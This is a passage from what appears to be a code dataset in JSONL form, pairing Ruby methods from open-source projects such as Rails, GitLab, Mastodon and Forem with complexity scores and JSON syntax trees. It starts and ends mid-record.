0)\\n\"]}]},\"squish\"]}]}","id":"0c01b814-c87b-4b5e-bd67-a2ceb5d20bf5"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/confirmations_controller.rb","start_line":3,"raw_source":"def show\n    self.resource = resource_class.confirm_by_token(params[:confirmation_token])\n    yield resource if block_given?\n\n    if resource.errors.empty?\n      set_flash_message!(:notice, :confirmed)\n      sign_in(resource)\n\n      if resource.creator?\n        redirect_to new_admin_creator_setting_path\n      else\n        respond_with_navigational(resource) { redirect_to after_confirmation_path_for(resource_name, resource) }\n      end\n    else\n      respond_with_navigational(resource.errors, status: :unprocessable_entity) { render :new }\n    end\n  end","complexity_score":41.9,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"resource=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_class\"]},\"confirm_by_token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"confirmation_token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"errors\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_flash_message!\",{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"sym\",\"children\":[\"confirmed\"]}]},{\"type\":\"send\",\"children\":[null,\"sign_in\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"creator?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"new_admin_creator_setting_path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_with_navigational\",{\"type\":\"send\",\"children\":[null,\"resource\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"after_confirmation_path_for\",{\"type\":\"send\",\"children\":[null,\"resource_name\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_with_navigational\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"errors\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"unprocessable_entity\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"sym\",\"children\":[\"new\"]}]}]}]}]}]}","id":"289a5618-dac8-4da7-978f-c0226d048be1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/with_performance_bar.rb","start_line":12,"raw_source":"def set_peek_enabled_for_current_request\n    Gitlab::SafeRequestStore.fetch(:peek_enabled) { cookie_or_default_value }\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"set_peek_enabled_for_current_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"peek_enabled\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"cookie_or_default_value\"]}]}]}","id":"81c7f830-3d4f-4af3-8cd8-0f00bc207da1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/empty_lines_around_access_modifier.rb","start_line":140,"raw_source":"def previous_line_ignoring_comments(processed_source, send_line)\n          processed_source[0..(send_line - 2)].reverse.find { |line| !comment_line?(line) }\n        end","complexity_score":9.05,"ast_json":"{\"type\":\"def\",\"children\":[\"previous_line_ignoring_comments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_source\"]},{\"type\":\"arg\",\"children\":[\"send_line\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"send_line\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]}]},\"reverse\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"comment_line?\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},\"!\"]}]}]}","id":"a725040c-41c5-4683-8d31-747564ee4aa4"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/web/helpers.rb","start_line":277,"raw_source":"def current_path\n      @current_path ||= request.path_info.gsub(/^\\//, \"\")\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"current_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"path_info\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"bff12a03-46ec-4bb4-aecc-84b3d79ac6c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request/approval_metrics.rb","start_line":9,"raw_source":"def self.refresh_last_approved_at(merge_request:, last_approved_at:)\n    attributes = {\n      merge_request_id: merge_request.id,\n      target_project_id: merge_request.target_project_id,\n      last_approved_at: last_approved_at\n    }\n\n    upsert(\n      attributes,\n      unique_by: :merge_request_id,\n      on_duplicate: Arel.sql(<<~SQL.squish)\n        last_approved_at = GREATEST(excluded.last_approved_at, merge_request_approval_metrics.last_approved_at)\n      SQL\n    )\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"refresh_last_approved_at\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"merge_request\"]},{\"type\":\"kwarg\",\"children\":[\"last_approved_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_project_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_approved_at\"]},{\"type\":\"lvar\",\"children\":[\"last_approved_at\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"upsert\",{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique_by\"]},{\"type\":\"sym\",\"children\":[\"merge_request_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_duplicate\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"last_approved_at = GREATEST(excluded.last_approved_at, merge_request_approval_metrics.last_approved_at)\\n\"]},\"squish\"]}]}]}]}]}]}]}","id":"48a610f4-d8cd-42d1-9308-9da00fed7dd7"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/users_controller.rb","start_line":52,"raw_source":"def index\n      respond_to do |format|\n        format.html { index_for_html }\n        format.json { index_for_json }\n      end\n    end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"index_for_html\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"index_for_json\"]}]}]}]}]}","id":"40e520ab-757c-4b28-bda5-35a95e323df4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/export_csv_service.rb","start_line":45,"raw_source":"def base_metadata\n      {\n        'State' => ->(work_item) { work_item.closed? ? 'Closed' : 'Open' },\n        'Confidential' => ->(work_item) { work_item.confidential? ? 'Yes' : 'No' },\n        'Locked' => ->(work_item) { widget_value_for(work_item, :notes, :discussion_locked?) ? 'Yes' : 'No' },\n        'Milestone' => ->(work_item) { widget_value_for(work_item, :milestone)&.title },\n        'Labels' => ->(work_item) { widget_value_for(work_item, :labels)&.map(&:title)&.join(', ') }\n      }\n    end","complexity_score":19.9,"ast_json":"{\"type\":\"def\",\"children\":[\"base_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"State\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"closed?\"]},{\"type\":\"str\",\"children\":[\"Closed\"]},{\"type\":\"str\",\"children\":[\"Open\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Confidential\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_item\"]},\"confidential?\"]},{\"type\":\"str\",\"children\":[\"Yes\"]},{\"type\":\"str\",\"children\":[\"No\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Locked\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"widget_value_for\",{\"type\":\"lvar\",\"children\":[\"work_item\"]},{\"type\":\"sym\",\"children\":[\"notes\"]},{\"type\":\"sym\",\"children\":[\"discussion_locked?\"]}]},{\"type\":\"str\",\"children\":[\"Yes\"]},{\"type\":\"str\",\"children\":[\"No\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Milestone\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"widget_value_for\",{\"type\":\"lvar\",\"children\":[\"work_item\"]},{\"type\":\"sym\",\"children\":[\"milestone\"]}]},\"title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Labels\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_item\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"widget_value_for\",{\"type\":\"lvar\",\"children\":[\"work_item\"]},{\"type\":\"sym\",\"children\":[\"labels\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}","id":"c415ac95-7563-467c-84a5-bd39c36f5882"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20170209184350_add_reply_to_statuses.rb","start_line":4,"raw_source":"def up\n    add_column :statuses, :reply, :boolean, default: false # rubocop:disable Rails/ThreeStateBooleanColumn\n    Status.unscoped.update_all('reply = (in_reply_to_id IS NOT NULL)')\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"sym\",\"children\":[\"reply\"]},{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"unscoped\"]},\"update_all\",{\"type\":\"str\",\"children\":[\"reply = (in_reply_to_id IS NOT NULL)\"]}]}]}]}","id":"2f4e0594-e8fc-44a3-b302-04d04327dc2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/rapid_diffs/diff_file_component_preview.rb","start_line":238,"raw_source":"def diff_file_from_hunk(hunk)\n      diff = raw_diff(diff_content(hunk))\n      diff_file(diff)\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_from_hunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hunk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"diff\",{\"type\":\"send\",\"children\":[null,\"raw_diff\",{\"type\":\"send\",\"children\":[null,\"diff_content\",{\"type\":\"lvar\",\"children\":[\"hunk\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"diff_file\",{\"type\":\"lvar\",\"children\":[\"diff\"]}]}]}]}","id":"48fcbf55-d08a-455a-b6e2-fdf22c9a7ccb"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/collection_association.rb","start_line":232,"raw_source":"def empty?\n        if loaded? || @association_ids || reflection.has_active_cached_counter?\n          size.zero?\n        else\n          target.empty? && !scope.exists?\n        end\n      end","complexity_score":17.1,"ast_json":"{\"type\":\"def\",\"children\":[\"empty?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loaded?\"]},{\"type\":\"ivar\",\"children\":[\"@association_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reflection\"]},\"has_active_cached_counter?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"size\"]},\"zero?\"]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope\"]},\"exists?\"]},\"!\"]}]}]}]}","id":"5a4aa0a5-d424-4860-86df-439a94ab8ddd"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/cookies_test.rb","start_line":645,"raw_source":"def test_signed_cookie_rotating_secret_and_digest\n    secret = \"b3c631c314c0bbca50c1b2843150fe33\"\n\n    @request.env[\"action_dispatch.signed_cookie_digest\"] = \"SHA256\"\n    @request.env[\"action_dispatch.cookies_rotations\"].rotate :signed, secret, digest: \"SHA1\"\n\n    old_message = ActiveSupport::MessageVerifier.new(secret, digest: \"SHA1\", serializer: Marshal).generate(45)\n    @request.headers[\"Cookie\"] = \"user_id=#{old_message}\"\n\n    get :get_signed_cookie\n    assert_equal 45, @controller.send(:cookies).signed[:user_id]\n\n    key_generator = @request.env[\"action_dispatch.key_generator\"]\n    secret = key_generator.generate_key(@request.env[\"action_dispatch.signed_cookie_salt\"])\n    verifier = ActiveSupport::MessageVerifier.new(secret, digest: \"SHA256\", serializer: Marshal)\n    assert_equal 45, verifier.verify(@response.cookies[\"user_id\"])\n  end","complexity_score":37.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_signed_cookie_rotating_secret_and_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"secret\",{\"type\":\"str\",\"children\":[\"b3c631c314c0bbca50c1b2843150fe33\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"action_dispatch.signed_cookie_digest\"]},{\"type\":\"str\",\"children\":[\"SHA256\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.cookies_rotations\"]}]},\"rotate\",{\"type\":\"sym\",\"children\":[\"signed\"]},{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"str\",\"children\":[\"SHA1\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"old_message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageVerifier\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"str\",\"children\":[\"SHA1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[null,\"Marshal\"]}]}]}]},\"generate\",{\"type\":\"int\",\"children\":[45]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user_id=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"get_signed_cookie\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[45]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cookies\"]}]},\"signed\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"key_generator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.key_generator\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key_generator\"]},\"generate_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"action_dispatch.signed_cookie_salt\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"verifier\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"MessageVerifier\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"secret\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"digest\"]},{\"type\":\"str\",\"children\":[\"SHA256\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"serializer\"]},{\"type\":\"const\",\"children\":[null,\"Marshal\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[45]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verifier\"]},\"verify\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"cookies\"]},\"[]\",{\"type\":\"str\",\"children\":[\"user_id\"]}]}]}]}]}]}","id":"ae17d274-47c3-4b25-a669-5b56a9acaa1c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/menu.rb","start_line":179,"raw_source":"def click_user_preferences_link\n          within_user_menu do\n            click_element('preferences-item')\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"click_user_preferences_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_user_menu\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"preferences-item\"]}]}]}]}","id":"cb02bec7-11d6-4b90-8dc2-dcf6a00dfec3"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/worker_batch.rb","start_line":48,"raw_source":"def remove_job(jid, increment: false)\n    _, pending, processed, async_refresh_key, threshold = redis.multi do |pipeline|\n      pipeline.srem(key('jobs'), jid)\n      pipeline.hincrby(key, 'pending', -1)\n      pipeline.hincrby(key, 'processed', 1)\n      pipeline.hget(key, 'async_refresh_key')\n      pipeline.hget(key, 'threshold')\n    end\n\n    async_refresh = AsyncRefresh.new(async_refresh_key) if async_refresh_key.present?\n    async_refresh&.increment_result_count(by: 1) if increment\n\n    if pending.zero? || processed >= (threshold || 1.0).to_f * (processed + pending)\n      async_refresh&.finish!\n      cleanup\n    end\n  end","complexity_score":42.23,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_job\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"jid\"]},{\"type\":\"kwoptarg\",\"children\":[\"increment\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"pending\"]},{\"type\":\"lvasgn\",\"children\":[\"processed\"]},{\"type\":\"lvasgn\",\"children\":[\"async_refresh_key\"]},{\"type\":\"lvasgn\",\"children\":[\"threshold\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"multi\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"srem\",{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"str\",\"children\":[\"jobs\"]}]},{\"type\":\"lvar\",\"children\":[\"jid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"hincrby\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"str\",\"children\":[\"pending\"]},{\"type\":\"int\",\"children\":[-1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"hincrby\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"str\",\"children\":[\"processed\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"hget\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"str\",\"children\":[\"async_refresh_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"hget\",{\"type\":\"send\",\"children\":[null,\"key\"]},{\"type\":\"str\",\"children\":[\"threshold\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async_refresh_key\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"async_refresh\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AsyncRefresh\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"async_refresh_key\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"increment\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async_refresh\"]},\"increment_result_count\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"by\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pending\"]},\"zero?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threshold\"]},{\"type\":\"float\",\"children\":[1.0]}]}]},\"to_f\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"pending\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"async_refresh\"]},\"finish!\"]},{\"type\":\"send\",\"children\":[null,\"cleanup\"]}]},null]}]}]}","id":"58a4f564-453f-4afa-b63d-2e759c430843"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":190,"raw_source":"def test_tag_builder_with_dangerous_data_attribute_name\n    escaped_dangerous_chars = \"_\" * COMMON_DANGEROUS_CHARS.size\n    assert_equal \"<the-name data-#{escaped_dangerous_chars}=\\\"the value\\\"></the-name>\",\n                 tag.public_send(:\"the-name\", data: { COMMON_DANGEROUS_CHARS => \"the value\" })\n\n    assert_equal \"<the-name data-#{COMMON_DANGEROUS_CHARS}=\\\"the value\\\"></the-name>\",\n                 tag.public_send(:\"the-name\", data: { COMMON_DANGEROUS_CHARS => \"the value\" }, escape: false)\n  end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_builder_with_dangerous_data_attribute_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"escaped_dangerous_chars\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMON_DANGEROUS_CHARS\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<the-name data-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"escaped_dangerous_chars\"]}]},{\"type\":\"str\",\"children\":[\"=\\\"the value\\\"></the-name>\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"public_send\",{\"type\":\"sym\",\"children\":[\"the-name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMON_DANGEROUS_CHARS\"]},{\"type\":\"str\",\"children\":[\"the value\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<the-name data-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"COMMON_DANGEROUS_CHARS\"]}]},{\"type\":\"str\",\"children\":[\"=\\\"the 